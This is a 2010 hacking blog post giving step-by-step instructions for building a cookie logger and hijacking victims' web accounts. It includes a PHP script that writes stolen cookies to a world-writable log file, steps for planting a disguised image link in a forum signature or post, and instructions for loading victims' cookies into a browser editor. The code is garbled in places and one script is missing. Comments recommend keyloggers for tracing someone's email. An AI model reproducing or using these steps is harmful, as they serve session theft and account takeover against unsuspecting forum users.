Welcome to my site. Please CLICK HERE to give your opinions regarding this new look of "PCTipsbyAnu". Thanks for visiting.

Friday, December 31, 2010

Browse » Home » , , , , , , , , » How to hack remote pc via cookie? (How to make your own cookie looger for hacking?)

How to hack remote pc via cookie? (How to make your own cookie looger for hacking?)

Cookies stores all the necessary Information about one’s account ,using this information you can hack anybody’s account and change hispassword. If you get the Cookies of the Victim you can Hack any accountthe Victim is Logged into i.e. you can hack Google, Yahoo, Orkut,Facebook, Flickr etc.

What is a CookieLogger?
A CookieLogger is a Script that is Used to Steal anybody’s Cookies andstores it into a Log File from where you can read the Cookies of theVictim.

Today I am going to show How to make your own Cookie Logger

Step 1
First you have to create a file which can capture a person's cookie.So follow the following process.

Download the script


Step 2
Now you have to change "http://pctipsbyanu.tk" to your your site, Remember one thing you should not upload the files into a directory.

Now open notepad and paste the script in it and save it as fun.gif


Step 3
Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
if (!$handle = fopen($filename, ‘a’))
echo “Temporary Server Error,Sorry for the inconvenience.”;
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
echo “Temporary Server Error,Sorry for the inconvenience.”;
echo “Temporary Server Error,Sorry for the inconvenience.”;
echo “Temporary Server Error,Sorry for the inconvenience.”;

Step 4

Create a new Notepad File and Save it as logfile.txt

Upload this file to your server

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

If you don’t have any Website then you can use the following Website to get a Free Website which has php support :


Step 5
Go to the victim forum and insert this code in the signature or a post :
So the person who click it will think it is fun.jpg but it redirects to fun.gif

Step 6
So if you click the image you will get a temporary error and you will find the cookie in the logfile.txt

Step 7
 And something like this will be stored in your "logfile.txt"


Step 8
To get the access to the Victim’s Account you need to replace yourcookies with the Victim’s Cookie. You can use a Cookie Editor for this.The string before “=” is the name of the cookie and the string after“=” is its value. So Change the values of the cookies in the cookieEditor.

Now for this you will need a firefox addon named "Add and edit cookies"

You can leave a response, or trackback from your own site.

About 'Anu': My name is 'Anu' also Known as 'ANU 007 TIGER' .I'm administrator of 'PC Tips by Anu' blog .This blog was opened for sharing contents about hacking n cracking.


Anonymous said...

great job dude

Anu said...


Anonymous said...

thanks to you,..,
because of this nice sharing

I have a question How can i trace a e-mail id?

Anonymous said...

@Anonymoususe keylogger

Anonymous said...

@Anonymoususe keylogger

Post a Comment

Back to Top